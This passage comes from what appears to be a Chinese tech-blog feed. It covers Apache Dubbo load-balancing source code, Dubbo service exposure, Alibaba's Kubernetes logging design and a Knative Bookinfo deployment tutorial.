             * for unit test only
             */
            protected <T> Collection<String> getInvokerAddrList(List<Invoker<T>> invokers, Invocation invocation) {
                String key = invokers.get(0).getUrl().getServiceKey() + "." + invocation.getMethodName();
                Map<String, WeightedRoundRobin> map = methodWeightMap.get(key);
                if (map != null) {
                    return map.keySet();
                }
                return null;
            }
            
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                String key = invokers.get(0).getUrl().getServiceKey() + "." + invocation.getMethodName();
                ConcurrentMap<String, WeightedRoundRobin> map = methodWeightMap.get(key);
                if (map == null) {
                    methodWeightMap.putIfAbsent(key, new ConcurrentHashMap<String, WeightedRoundRobin>());
                    map = methodWeightMap.get(key);
                }
                int totalWeight = 0;
                long maxCurrent = Long.MIN_VALUE;
                long now = System.currentTimeMillis();
                Invoker<T> selectedInvoker = null;
                WeightedRoundRobin selectedWRR = null;
                for (Invoker<T> invoker : invokers) {
                    String identifyString = invoker.getUrl().toIdentityString();
                    WeightedRoundRobin weightedRoundRobin = map.get(identifyString);
                    int weight = getWeight(invoker, invocation);
        
                    if (weightedRoundRobin == null) {
                        weightedRoundRobin = new WeightedRoundRobin();
                        weightedRoundRobin.setWeight(weight);
                        map.putIfAbsent(identifyString, weightedRoundRobin);
                    }
                    if (weight != weightedRoundRobin.getWeight()) {
                        //weight changed
                        weightedRoundRobin.setWeight(weight);
                    }
                    long cur = weightedRoundRobin.increaseCurrent();
                    weightedRoundRobin.setLastUpdate(now);
                    if (cur > maxCurrent) {
                        maxCurrent = cur;
                        selectedInvoker = invoker;
                        selectedWRR = weightedRoundRobin;
                    }
                    totalWeight += weight;
                }
                if (!updateLock.get() && invokers.size() != map.size()) {
                    if (updateLock.compareAndSet(false, true)) {
                        try {
                            // copy -> modify -> update reference
                            ConcurrentMap<String, WeightedRoundRobin> newMap = new ConcurrentHashMap<>(map);
                            newMap.entrySet().removeIf(item -> now - item.getValue().getLastUpdate() > RECYCLE_PERIOD);
                            methodWeightMap.put(key, newMap);
                        } finally {
                            updateLock.set(false);
                        }
                    }
                }
                if (selectedInvoker != null) {
                    selectedWRR.sel(totalWeight);
                    return selectedInvoker;
                }
                // should not happen here
                return invokers.get(0);
            }
        
        }
        

        Nginx的负载均衡默认就是轮询

        6 LeastActiveLoadBalance(最少活跃数)

        • 最少活跃调用数,相同活跃数的随机,活跃数指调用前后计数差
        • 使慢的提供者收到更少请求,因为越慢的提供者的调用前后计数差会越大。

        举个例子.每个服务有一个活跃计数器
        那么我们假如有A,B两个提供者.计数初始均为0
        当A提供者开始处理请求,该计数+1,此时A还没处理完,当处理完后则计数-1
        而B请求接收到请求处理得很快.B处理完后A还没处理完,所以此时A,B的计数为1,0
        那么当有新的请求来的时候,就会选择B提供者(B的活跃计数比A小)
        这就是文档说的,使慢的提供者收到更少请求

        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        import org.apache.dubbo.rpc.RpcStatus;
        
        import java.util.List;
        import java.util.concurrent.ThreadLocalRandom;
        
        /**
         * 过滤活动调用次数最少的调用者数量,并计算这些调用者的权重和数量。
         * 如果只有一个调用程序,则直接使用该调用程序;
         * 如果有多个调用者并且权重不相同,则根据总权重随机;
         * 如果有多个调用者且权重相同,则将其随机调用。
         */
        public class LeastActiveLoadBalance extends AbstractLoadBalance {
        
            public static final String NAME = "leastactive";
        
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                // invoker的总个数
                int length = invokers.size();
                // invoker最小的活跃数
                int leastActive = -1;
                // 相同最小活跃数(leastActive)的invoker个数
                int leastCount = 0;
                // 相同最小活跃数(leastActive)的下标
                int[] leastIndexes = new int[length];
                // the weight of every invokers
                int[] weights = new int[length];
                // 所有最不活跃invoker的预热权重之和
                int totalWeight = 0;
                // 第一个最不活跃的invoker的权重, 用于于计算是否相同
                int firstWeight = 0;
                // 每个最不活跃的调用者都具有相同的权重值?
                boolean sameWeight = true;
        
        
                // Filter out all the least active invokers
                for (int i = 0; i < length; i++) {
                    Invoker<T> invoker = invokers.get(i);
                    // Get the active number of the invoker
                    int active = RpcStatus.getStatus(invoker.getUrl(), invocation.getMethodName()).getActive();
                    // Get the weight of the invoker's configuration. The default value is 100.
                    int afterWarmup = getWeight(invoker, invocation);
                    // save for later use
                    weights[i] = afterWarmup;
                    // If it is the first invoker or the active number of the invoker is less than the current least active number
                    if (leastActive == -1 || active < leastActive) {
                        // Reset the active number of the current invoker to the least active number
                        leastActive = active;
                        // Reset the number of least active invokers
                        leastCount = 1;
                        // Put the first least active invoker first in leastIndexes
                        leastIndexes[0] = i;
                        // Reset totalWeight
                        totalWeight = afterWarmup;
                        // Record the weight the first least active invoker
                        firstWeight = afterWarmup;
                        // Each invoke has the same weight (only one invoker here)
                        sameWeight = true;
                        // If current invoker's active value equals with leaseActive, then accumulating.
                    } else if (active == leastActive) {
                        // 记录leastIndexes order最小活跃数下标
                        leastIndexes[leastCount++] = i;
                        // 累计总权重
                        totalWeight += afterWarmup;
                        // If every invoker has the same weight?
                        if (sameWeight && i > 0
                                && afterWarmup != firstWeight) {
                            sameWeight = false;
                        }
                    }
                }
                // Choose an invoker from all the least active invokers
                if (leastCount == 1) {
                    // 如果只有一个最小则直接返回
                    return invokers.get(leastIndexes[0]);
                }
                if (!sameWeight && totalWeight > 0) {
                    // 如果权重不相同且权重大于0则按总权重数随机
                    int offsetWeight = ThreadLocalRandom.current().nextInt(totalWeight);
                    // 并确定随机值落在哪个片断上
                    for (int i = 0; i < leastCount; i++) {
                        int leastIndex = leastIndexes[i];
                        offsetWeight -= weights[leastIndex];
                        if (offsetWeight < 0) {
                            return invokers.get(leastIndex);
                        }
                    }
                }
                // 如果权重相同或权重为0则均等随机
                return invokers.get(leastIndexes[ThreadLocalRandom.current().nextInt(leastCount)]);
            }
        }
        

        分析

        这部分代码概括起来就两部分

        • 活跃数和权重的统计
        • 选择invoker.也就是他把最小活跃数的invoker统计到leastIndexs数组中,如果权重一致(这个一致的规则参考上面的随机算法)或者总权重为0,则均等随机调用,如果不同,则从leastIndexs数组中按照权重比例调用(还是和随机算法中的那个依次相减的思路一样).还不明白没关系,看下面的流程图和数学分析
        • 流程图

        理论

        假设A,B,C,D节点的最小活跃数分别是1,1,2,3,权重为1,2,3,4.则leastIndexs(该数组是最小活跃数组,因为A,B的活跃数是1,均为最小)数组内容为[A,B].A,B的权重是1和2,所以调用A的概率为 1/(1+2) = 1/3,B的概率为 2/(1+2) = 2/3

        活跃数的变化是在org.apache.dubbo.rpc.filter.ActiveLimitFilter
        如果没有配置dubbo:referenceactives属性,默认是调用前活跃数+1,调用结束-1
        鉴于很多人可能没用过这个属性,所以我把文档截图贴出来


        另外如果使用该种负载均衡算法,则dubbo:service中还需要配置filter="activelimit"

        7 ConsistentHashLoadBalance(一致性哈希)

        • 一致性 Hash,相同参数的请求总是发到同一提供者
        • 当某一台提供者挂时,原本发往该提供者的请求,基于虚拟节点,平摊到其它提供者,不会引起剧烈变动。
        • 推荐阅读
          http://en.wikipedia.org/wiki/Consistent_hashing

        缺省只对第一个参数 Hash,如果要修改,请配置

        <dubbo:parameter key="hash.arguments" value="0,1" />

        缺省用 160 份虚拟节点,如果要修改,请配置

        <dubbo:parameter key="hash.nodes" value="320" />
        package org.apache.dubbo.rpc.cluster.loadbalance;
        
        import org.apache.dubbo.common.URL;
        import org.apache.dubbo.rpc.Invocation;
        import org.apache.dubbo.rpc.Invoker;
        import org.apache.dubbo.rpc.support.RpcUtils;
        
        import java.nio.charset.StandardCharsets;
        import java.security.MessageDigest;
        import java.security.NoSuchAlgorithmException;
        import java.util.List;
        import java.util.Map;
        import java.util.TreeMap;
        import java.util.concurrent.ConcurrentHashMap;
        import java.util.concurrent.ConcurrentMap;
        
        import static org.apache.dubbo.common.constants.CommonConstants.COMMA_SPLIT_PATTERN;
        
        
        public class ConsistentHashLoadBalance extends AbstractLoadBalance {
            public static final String NAME = "consistenthash";
        
            /**
             * Hash nodes name
             */
            public static final String HASH_NODES = "hash.nodes";
        
            /**
             * Hash arguments name
             */
            public static final String HASH_ARGUMENTS = "hash.arguments";
        
            private final ConcurrentMap<String, ConsistentHashSelector<?>> selectors = new ConcurrentHashMap<String, ConsistentHashSelector<?>>();
        
            @SuppressWarnings("unchecked")
            @Override
            protected <T> Invoker<T> doSelect(List<Invoker<T>> invokers, URL url, Invocation invocation) {
                String methodName = RpcUtils.getMethodName(invocation);
                String key = invokers.get(0).getUrl().getServiceKey() + "." + methodName;
                int identityHashCode = System.identityHashCode(invokers);
                ConsistentHashSelector<T> selector = (ConsistentHashSelector<T>) selectors.get(key);
                if (selector == null || selector.identityHashCode != identityHashCode) {
                    selectors.put(key, new ConsistentHashSelector<T>(invokers, methodName, identityHashCode));
                    selector = (ConsistentHashSelector<T>) selectors.get(key);
                }
                return selector.select(invocation);
            }
        
            private static final class ConsistentHashSelector<T> {
        
                private final TreeMap<Long, Invoker<T>> virtualInvokers;
        
                private final int replicaNumber;
        
                private final int identityHashCode;
        
                private final int[] argumentIndex;
        
                ConsistentHashSelector(List<Invoker<T>> invokers, String methodName, int identityHashCode) {
                    this.virtualInvokers = new TreeMap<Long, Invoker<T>>();
                    this.identityHashCode = identityHashCode;
                    URL url = invokers.get(0).getUrl();
                    this.replicaNumber = url.getMethodParameter(methodName, HASH_NODES, 160);
                    String[] index = COMMA_SPLIT_PATTERN.split(url.getMethodParameter(methodName, HASH_ARGUMENTS, "0"));
                    argumentIndex = new int[index.length];
                    for (int i = 0; i < index.length; i++) {
                        argumentIndex[i] = Integer.parseInt(index[i]);
                    }
                    for (Invoker<T> invoker : invokers) {
                        String address = invoker.getUrl().getAddress();
                        for (int i = 0; i < replicaNumber / 4; i++) {
                            byte[] digest = md5(address + i);
                            for (int h = 0; h < 4; h++) {
                                long m = hash(digest, h);
                                virtualInvokers.put(m, invoker);
                            }
                        }
                    }
                }
        
                public Invoker<T> select(Invocation invocation) {
                    String key = toKey(invocation.getArguments());
                    byte[] digest = md5(key);
                    return selectForKey(hash(digest, 0));
                }
        
                private String toKey(Object[] args) {
                    StringBuilder buf = new StringBuilder();
                    for (int i : argumentIndex) {
                        if (i >= 0 && i < args.length) {
                            buf.append(args[i]);
                        }
                    }
                    return buf.toString();
                }
        
                private Invoker<T> selectForKey(long hash) {
                    Map.Entry<Long, Invoker<T>> entry = virtualInvokers.ceilingEntry(hash);
                    if (entry == null) {
                        entry = virtualInvokers.firstEntry();
                    }
                    return entry.getValue();
                }
        
                private long hash(byte[] digest, int number) {
                    return (((long) (digest[3 + number * 4] & 0xFF) << 24)
                            | ((long) (digest[2 + number * 4] & 0xFF) << 16)
                            | ((long) (digest[1 + number * 4] & 0xFF) << 8)
                            | (digest[number * 4] & 0xFF))
                            & 0xFFFFFFFFL;
                }
        
                private byte[] md5(String value) {
                    MessageDigest md5;
                    try {
                        md5 = MessageDigest.getInstance("MD5");
                    } catch (NoSuchAlgorithmException e) {
                        throw new IllegalStateException(e.getMessage(), e);
                    }
                    md5.reset();
                    byte[] bytes = value.getBytes(StandardCharsets.UTF_8);
                    md5.update(bytes);
                    return md5.digest();
                }
        
            }
        
        }
        

        该算法的代码实现拿出来讲的话篇幅较大,主要讲三个关键词,原理,down机影响,虚拟节点

        原理

        简单讲就是,假设我们有个时钟,各服务器节点映射放在钟表的时刻上,把key也映射到钟表的某个时刻上,然后key顺时针走,碰到的第一个节点则为我们需要找的服务器节点

        还是假如我们有a,b,c,d四个节点(感觉整篇文章都在做这个假如....),把他们通过某种规则转成整数,分别为0,3,6,9.所以按照时钟分布如下图


        假设这个key通过某种规则转化成1,那么他顺时针碰到的第一个节点就是b,也就是b是我们要找的节点

        这个规则你可以自己设计,但是要注意的是,不同的节点名,转换为相同的整数的概率就是衡量这个规则的好坏,如果你能做到不同的节点名唯一对应一个整数,那就是棒棒哒.当然java里面的CRC32这个类你可以了解一下.

        说到这里可能又会有另个疑问,时钟点数有限,万一装不下怎么办

        其实这个时钟只是方便大家理解做的比喻而已,在实际中,我们可以在圆环上分布[0,2^32-1]的数字,这量级全世界的服务器都可以装得下.

        down机影响

        通过上图我们可以看出,当b节点挂了之后,根据顺时针的规则,那么目标节点就是c,也就是说,只影响了一个节点,其他节点不受影响.

        如果是轮询的取模算法,假设从N台服务器变成了N-1台,那么命中率就变成1/(N-1),因此服务器越多,影响也就越大.

        虚拟节点

        为什么要有虚拟节点的概念呢?我们还是回到第一个假设,我们还是有a,b,c,d四个节点,他们通过某个规则转化成0,3,6,9这种自然是均匀的.但是万一是0,1,2,3这样,那就是非常不均匀了.事实上, 一般的Hash函数对于节点在圆环上的映射,并不均匀.所以我们需要引入虚拟节点,那么什么是虚拟节点呢?

        假如有N个真实节点,把每个真实节点映射成M个虚拟节点,再把 M*N 个虚拟节点, 散列在圆环上. 各真实节点对应的虚拟节点相互交错分布这样,某真实节点down后,则把其影响平均分担到其他所有节点上.

        也就是a,b,c,d的虚拟节点a0,a1,a2,b0,b1,b2,c0,c1,c2,d0,d1,d2散落在圆环上,假设C号节点down,则c0,c1,c2的压力分别传给d0,a1,b1,如下图

        参考

        ]]>
        Dubbo源码解析实战 - 服务暴露原理 Fri, 02 May 2025 09:39:04 +0800 dubbo面试中比较喜欢问的两个点:服务发布和服务引用.

        人性的拷问

        • 服务发布过程中做了哪些事
        • dubbo都有哪些协议,他们之间有什么特点,缺省值是什么
        • 什么是本地暴露和远程暴露,他们的区别

        直入主题
        从启动日志说起

        这里不同颜色的框将关键的地方画了出来,一共有6种颜色, 从上到下

        1. 暴露本地服务
        2. 暴露远程服务
        3. 启动netty
        4. 连接zookeeper
        5. 到zookeeper注册
        6. 监听zookeeper

        全局总览

        先看官方文档说明

        服务提供者暴露一个服务的详细过程

        • 服务提供者暴露服务的主过程

        首先 ServiceConfig 类拿到对外提供服务的实际类 ref(如:HelloWorldImpl),然后通过 ProxyFactory 类的 getInvoker 方法使用 ref 生成一个 AbstractProxyInvoker 实例,到这一步就完成具体服务到 Invoker 的转化。
        接下来就是 Invoker 转换到 Exporter 的过程。

        看源码,很多人最常问的一句话就是,怎么入手,也就是切入点.那么我们还是以开头的日志为例,来找一个这个切入点
        仔细看输出日志,就会发现在暴露本地服务之前,有一句很重要的日志,就是

        The service ready on spring started. service: com.alibaba.dubbo.demo.DemoService, dubbo version: 2.0.0, current host: 127.0.0.1

        该打印在今年八月被移除,具体原因不明, 留待日后分析,先继续经典版本源码

        定位到了ServiceBean这个类

        • 继承体系图

        继续按照经典版本源码讲解,这里最新版源码由于删除了相关接口

        从这个图我们看到了许多和spring有关的东西,还发现了一个重要的接口,那就是ApplicationListener
        就是spring的事件机制(event).什么是事件机制呢?
        就比如监听spring容器初始化完成.那我们就定位到这行日志的位置,往下debug


        重点!!!

        这个dubbo.properties文件是怎么时候加载的,好像我根本没有设置,另外这个dubbo.properties文件的名字能不能改?

        • 同理,对于log4j.xml文件

        接下来继续往下走,下面这里就是我们的第二道面试题

        • 因为dubbo是支持多协议的,看文档原话
        • Dubbo支持多种协议,默认使用的是dubbo协议
          Dubbo协议

        到了第三个面试题,也是服务发布的重点,本地暴露和远程暴露

        为什么会有本地暴露和远程暴露呢?
        不从场景考虑讨论技术的没有意义是.在dubbo中我们一个服务可能既是Provider,又是Consumer,因此就存在他自己调用自己服务的情况,如果再通过网络去访问,那自然是舍近求远
        因此他是有本地暴露服务的这个设计

        • 本地暴露是暴露在JVM中,不需要网络通信
        • 远程暴露是将ip,端口等信息暴露给远程客户端,调用时需要网络通信



        从上图可知,这里用到了Adaptive,

        • 点进ProxyFactory查看源码

        @Adaptive注解打在类上和方法上,他们是有区别的
        在方法上,就会生成动态编译的Adaptive类,下面就介绍一下怎么看这个动态编译类的源码

        • 首先要将这个log4j的level调整为DEBUG

        为什么需要调整成DEBUG,
        比如下图

        打开DEBUG后,我们重新启动,就会看到日志有如下输出,这段就是相关代码,我们根据包名新建文件,如下

        我们在getInvoker方法上打上断点,重启一下.


        由上图知道,本地暴露的url是以injvm开头的,下面来看下远程暴露,其实这个也是回答本地暴露和远程暴露区别的一个回答点.面试回答要的并不是一个满分的答案,而是从一些细节中,看出一个人,是否真的研究过源码.

        还是回到开头那句话,dubbo命名是很规范的,从Wrapper这个命名,其实可以和Spring的Bean Wrapper,以及装饰者设计模式联系起来.同时可以看看文档中的编码约定

        参考

        ]]>
        系列文章:Kubernetes日志方案设计思路 Fri, 02 May 2025 09:39:04 +0800 上一篇中我们介绍了为什么需要一个日志系统、为什么云原生下的日志系统如此重要以及云原生下日志系统的建设难点,相信DevOps、SRE、运维等同学看了是深有体会的。本篇文章单刀直入,会直接跟大家分享一下如何在云原生的场景下搭建一个灵活、功能强大、可靠、可扩容的日志系统。

        需求驱动架构设计

        技术架构,是将产品需求转变为技术实现的过程。对于所有的架构师而言,能够将产品需求分析透彻是非常基本也是非常重要的一点。很多系统刚建成没多久就要被推翻,最根本的原因还是没有解决好产品真正的需求。

        我所在的日志服务团队在日志这块有近10年的经验,几乎服务阿里内部所有的团队,涉及电商、支付、物流、云计算、游戏、即时通讯、IoT等领域,多年来的产品功能的优化和迭代都是基于各个团队的日志需求变化。

        有幸我们最近几年在阿里云上实现了产品化,服务了数以万计的企业用户,包括国内各大直播类、短视频、新闻媒体、游戏等行业Top1互联网客户。产品功能从服务一个公司到服务上万家公司会有质的差别,上云促使我们更加深入的去思考:究竟哪些功能是日志这个平台需要去为用户去解决的,日志最核心的诉求是什么,如何去满足各行各业、各种不同业务角色的需求...

        需求分解与功能设计

        上一节中我们分析了公司内各个不同角色对于日志的相关需求,总结起来有以下几点:

        1. 支持各种日志格式、数据源的采集,包括非K8s
        2. 能够快速的查找/定位问题日志
        3. 能够将各种格式的半结构化/非结构化日志格式化,并支持快速的统计分析、可视化
        4. 支持通过日志进行实时计算并获得一些业务指标,并支持基于业务指标实时的告警(其实本质就是APM)
        5. 支持对于超大规模的日志进行各种维度的关联分析,可接受一定时间的延迟
        6. 能够便捷的对接各种外部系统或支持自定义的获取数据,例如对接第三方审计系统
        7. 能够基于日志以及相关的时序信息,实现智能的告警、预测、根因分析等,并能够支持自定义的离线训练方式以获得更好的效果

        image.png
        为满足上述这些功能需求,日志平台上必须具备的功能功能模块有:

        1. 全方位日志采集,支持DaemonSet、Sidecar各种采集方式以应对不同的采集需求,同时支持Web、移动端、IoT、物理机/虚拟机各种数据源的采集;
        2. 日志实时通道,这个是为了对接上下游所必备的功能,保证日志能够被多种系统所便捷的使用;
        3. 数据清洗(ETL: Extract,Transform,Load),对各种格式的日志进行清洗,支持过滤、富化、转换、补漏、分裂、聚合等;
        4. 日志展现与搜索,这是所有日志平台必须具备的功能,能够根据关键词快速的定位到日志并查看日志上下文,看似简单的功能却最难做好;
        5. 实时分析,搜索只能完成一些定位到问题,而分析统计功能可以帮助快速分析问题的根因,同时可以用于快速的计算一些业务指标;
        6. 流计算,通常我们都会使用流计算框架(Flink、Storm、Spark Stream等)来计算一些实时的指标或对数据进行一些自定义的清洗等;
        7. 离线分析,运营、安全相关的需求都需要对大量的历史日志进行各种维度的关联计算,目前只有T+1的离线分析引擎能够完成;
        8. 机器学习框架,能够便捷、快速的将历史的日志对接到机器学习框架进行离线训练,并将训练后的结果加载到线上实时的算法库中。

        开源方案设计

        image.png
        借助于强大的开源社区,我们可以很容易基于开源软件的组合来实现这样一套日志平台,上图是一个非常典型的以ELK为核心的日志平台方案:

        • 利用FileBeats、Fluentd等采集Agent实现容器上的数据统一收集。
        • 为了提供更加丰富的上下游以及缓冲能力,可以使用kafka作为数据采集的接收端。
        • 采集到的原始数据还需要进一步的清洗,可以使用Logstash或者Flink订阅Kafka中的数据,清洗完毕后再写入kafka中。
        • 清洗后的数据可以对接ElasticSearch来做实时的查询检索、对接Flink来计算实时的指标和告警、对接Hadoop来做离线的数据分析、对接TensorFlow来做离线模型训练。
        • 数据的可视化可以使用grafana、kibana等常用的可视化组件。

        为什么我们选择自研

        采用开源软件的组合是非常高效的方案,得益于强大的开源社区以及庞大用户群体的经验积累,我们可以很快搭建出这样一套系统,并且可以满足我们绝大部分的需求。

        当我们把这套系统部署好,能够把日志从容器上采集上来、elasticsearch上能够查到、Hadoop上能够成功执行SQL、Grafana上能看到图、告警短信能收到。。。完成上述流程打通后,加加班可能只需要花费几天的时间,当系统终于跑通的时候,这时候终于可以长舒一口气,躺在办公椅上放松放松。

        然而理想很丰满现实很骨感,当我们预发通了,测试完了上到生产,开始接入第一个应用,逐渐更多的应用接入,越来越多的人开始使用。。。这时候很多问题都可能暴露出来:

        • 随着业务量的上涨,日志量也越来越大,Kakfa和ES要不断扩容,同时同步Kafka到ES的Connector也需要扩容,最烦的是采集Agent,每台机器上部署的DaemonSet Fluentd根本没办法扩容,到了单Agent瓶颈就没办法了,只能换Sidecar,换Sidecar工作量大不说,还会带来一系列其他的问题,比如怎么和CICD系统集成、资源消耗、配置规划、stdout采集不支持等等。
        • 从刚开始上的边缘业务,慢慢更多的核心业务接入,对于日志的可靠性要求越来越高,经常有研发反应从ES上查不到数据、运营说统计出来的报表不准、安全说拿到的数据不是实时的。。。每次问题的排查都要经过采集、队列、清洗、传输等等非常多的路径,排查代价非常高。同时还要为日志系统搭建一套监控方案,能够即时发现问题,而且这套方案还不能基于日志系统,不能自依赖。
        • 当越来越多的开发开始用日志平台调查问题时,经常会出现因为某1-2个人提交一个大的查询,导致系统整体负载上升,其他人的查询都会被Block,甚至出现Full GC等情况。这时候一些大能力的公司会对ES进行改造,来支持多租户隔离;或者为不同的业务部门搭建不同的ES集群,最后又要运维多个ES集群,工作量还是很大。
        • 当投入了很多人力,终于能够把日志平台维持日常使用,这时候公司财务找过来了,说我们用了非常多的机器,成本太大。这时候开始要优化成本,但是思来想去就是需要这么多台机器,每天大部分的机器水位都在20%-30%,但是高峰的水位可能到70%,所以不能撤,撤了高峰顶不住,这时候只能搞搞削峰填谷,又是一堆工作量。

        上述这些是一家中等规模的互联网企业在日志平台建设中经常会遇到的问题,在阿里这些问题会放大非常多倍:

        • 比如面对双十一的流量,市面上所有的开源软件都无法满足我们那么大流量的需求。
        • 面对阿里内部上万个业务应用,几千名工程师同时使用,并发和多租户隔离我们必须要做到极致。
        • 面对非常多核心的订单、交易等场景,整个链路的稳定性必须要求3个9甚至4个9的可用性。
        • 每天如此大的数据量,对于成本的优化显得极为重要,10%的成本优化带来的收益可能就有上亿。

        阿里K8s日志方案

        image.png
        针对上述的一些问题,我们经过多年的时间,开发并打磨出这样一套K8s日志方案:

        1. 使用我们自研的日志采集Agent Logtail实现K8s全方位的数据采集,目前Logtail在集团内有数百万的全量部署,性能、稳定性经过多次双十一金融级考验。
        2. 化繁为简,数据队列、清洗加工、实时检索、实时分析、AI算法等原生集成,而不是基于各种开源软件搭积木的形式实,大大降低了数据链路长度,链路长度的降低也意味着出错可能性的减少。
        3. 队列、清洗加工、检索、分析、AI引擎等全部针对日志场景深度定制优化,满足大吞吐、动态扩容、亿级日志秒级可查、低成本、高可用性等需求。
        4. 对于流式计算、离线分析场景这种通用需求,无论是开源还是阿里内部都有非常成熟的产品,我们通过无缝对接的方式来支持,目前日志服务支持了数十种下游的开源、云上产品的对接。

        这套系统目前支撑了整个阿里集团、蚂蚁集团、云上上万家企业的日志分析,每天写入的数据量16PB+,开发、运维这样一套系统问题和挑战非常多,这里就不再展开,有兴趣的同学可以参考我们团队的技术分享:阿里10PB/天日志系统设计和实现

        总结

        本篇主要从架构层面去介绍如何搭建一套K8s的日志分析平台,包括开源方案以及我们阿里自研的一套方案。然而实际这套系统落地到生产环境并有效运行还有很多工作要做:

        1. K8s上以什么样的姿势来打日志?
        2. K8s上的日志采集方案选择,DaemonSet or Sidecar?
        3. 日志方案如何与CICD去集成?
        4. 微服务下各个应用的日志存储如何划分?
        5. 如何基于K8s系统的日志去做K8s监控?
        6. 如何去监控日志平台的可靠性?
        7. 如何去对多个微服务/组件去做自动的巡检?
        8. 如何自动的监控多个站点并实现流量异常时的快速定位?

        后续文章我们会一步一步来和大家分享如何把这套系统落地,敬请期待。

        ]]>
        Knative 实战:一个微服务应用的部署 Fri, 02 May 2025 09:39:04 +0800 在 Istio 中提供了一个 Bookinfo 的示例,用于演示微服务之间的调用,那么如何在 Knative 中部署这个示例呢?本文将会介绍一下在 Knative 中部署 Bookinfo 微服务以及查看调用链追踪信息。

        背景

        Bookinfo 这个示例应用由 4 个微服务组成。 Bookinfo 应用架构图如下:
        image

        • productpage 微服务: 调用 details 微服务和 reviews 微服务来生成页面
        • details 微服务: 包含图书的详细信息
        • reviews 微服务: 提供图书的评论功能,也可以调用 rating 微服务给图书评分
        • ratings 微服务: 提供图书的评分功能

        另外 reviews 微服务目前有3个版本:

        • v1 不会调用 ratings 微服务
        • v2 调用 ratings 微服务,并将评分显示 1~5 个黑色星星
        • v3 调用 ratings 微服务,并将每个评分显示为 1~5 个红色星星

        准备

        部署

        首先开启 Istio Sidecar 注入,我们在 default 命名空间打上 istio-injection=enabled 的Label:

        kubectl label namespace default istio-injection=enabled

        部署 Bookinfo Knative Service 服务, 简单直接通过yaml文件一键拉起来,bookinfo.yaml:

        apiVersion: serving.knative.dev/v1
        kind: Service
        metadata:
          name: details-v1
          namespace: default
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/examples-bookinfo-details-v1:1.15.0
                ports:
                - containerPort: 9080
        ---
        apiVersion: serving.knative.dev/v1
        kind: Service
        metadata:
          name: ratings-v1
          namespace: default
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/examples-bookinfo-ratings-v1:1.15.0
                ports:
                - containerPort: 9080
        
        ---
        apiVersion: serving.knative.dev/v1
        kind: Service
        metadata:
          name: reviews-v1
          namespace: default
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/examples-bookinfo-reviews-v1:v1-aliyun
                ports:
                - containerPort: 9080
        
        ---
        apiVersion: serving.knative.dev/v1
        kind: Service
        metadata:
          name: reviews-v2
          namespace: default
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/examples-bookinfo-reviews-v2:v1-aliyun
                ports:
                - containerPort: 9080
                env:
                - name: SERVICES_DOMAIN
                  value: default.svc.cluster.local
                - name: RATINGS_HOSTNAME
                  value: ratings-v1
        ---
        apiVersion: serving.knative.dev/v1
        kind: Service
        metadata:
          name: reviews-v3
          namespace: default
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/examples-bookinfo-reviews-v3:v1-aliyun
                ports:
                - containerPort: 9080
                env:
                - name: SERVICES_DOMAIN
                  value: default.svc.cluster.local
                - name: RATINGS_HOSTNAME
                  value: ratings-v1
        ---
        apiVersion: serving.knative.dev/v1
        kind: Service
        metadata:
          name: productpage-v1
          namespace: default
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/productpage:v1-aliyun
                ports:
                - containerPort: 9080
                env:
                - name: SERVICES_DOMAIN
                  value: default.svc.cluster.local
                - name: DETAILS_HOSTNAME
                  value: details-v1
                - name: RATINGS_HOSTNAME
                  value: ratings-v1
                - name: REVIEWS_HOSTNAME
                  value: reviews-v2

        这里需要说明几点:

        • productpage 环境变量设置:

          • SERVICES_DOMAIN:微服务直接通过内部访问域名进行访问,这里设置域名后缀为:default.svc.cluster.local
          • DETAILS_HOSTNAME:设置为 details-v1
          • RATINGS_HOSTNAME:设置为 ratings-v1
          • REVIEWS_HOSTNAME: 这里设置 reviews-v2。
        • reviews v2, v3环境变量设置。由于 v2 和 v3 需要访问 rate 进行评分, 因此需要设置对应的环境变量:

          • SERVICES_DOMAIN:微服务直接通过内部访问域名进行访问,这里设置域名后缀为:default.svc.cluster.local
          • RATINGS_HOSTNAME:设置为 ratings-v1

        执行命令:

        # kubectl apply -f bookinfo.yaml

        查看执行结果:

        # kubectl get kservice
        productpage-v1                  http://productpage-v1.default.knative.kuberun.com                  productpage-v1-s4drn                  productpage-v1-s4drn                  True    
        ratings-v1                      http://ratings-v1.default.knative.kuberun.com                      ratings-v1-bsvb2                      ratings-v1-bsvb2                      True    
        details-v1                      http://details-v1.default.knative.kuberun.com                      details-v1-dj47j                      details-v1-dj47j                      True    
        reviews-v1                      http://reviews-v1.default.knative.kuberun.com                      reviews-v1-q5wz4                      reviews-v1-q5wz4                      True    
        reviews-v2                      http://reviews-v2.default.knative.kuberun.com                      reviews-v2-5r7mm                      reviews-v2-5r7mm                      True    
        reviews-v3                      http://reviews-v3.default.knative.kuberun.com                      reviews-v3-s2v6j                      reviews-v3-s2v6j                      True    

        通过页面进行访问,说明服务访问正常:
        image

        微服务调用链

        一般情况下,用户比较关注微服务中的调用链信息,通过 Tracing Analysis服务,我们可以方便的查看服务调用链。
        首先我们进行一次服务访问,在productpage页面,点击Normal user
        image

        可以看到 Book DetailsBook Reviews 信息。productpage 服务依次会调用:details、reviews 和 ratings服务
        image

        接下来登录 Tracing Analysis 服务控制台,选择【应用列表】,点击 productpage.default.
        image

        选择 调用链分析 页签,可以查看服务调用链信息
        tracing

        结论

        通过上面的介绍,我们可以看到在 Knative 中轻松实现微服务部署,并且结合 Tracing Analysis 服务可以满足部署生产级别服务诉求。

        欢迎加入 Knative 交流群

        image

        ]]>
        在Serverless Kubernetes(ASK)集群中使用Nginx Ingress Fri, 02 May 2025 09:39:04 +0800

        ASK: Alibaba Cloud Serverless Kubernetes

        导读

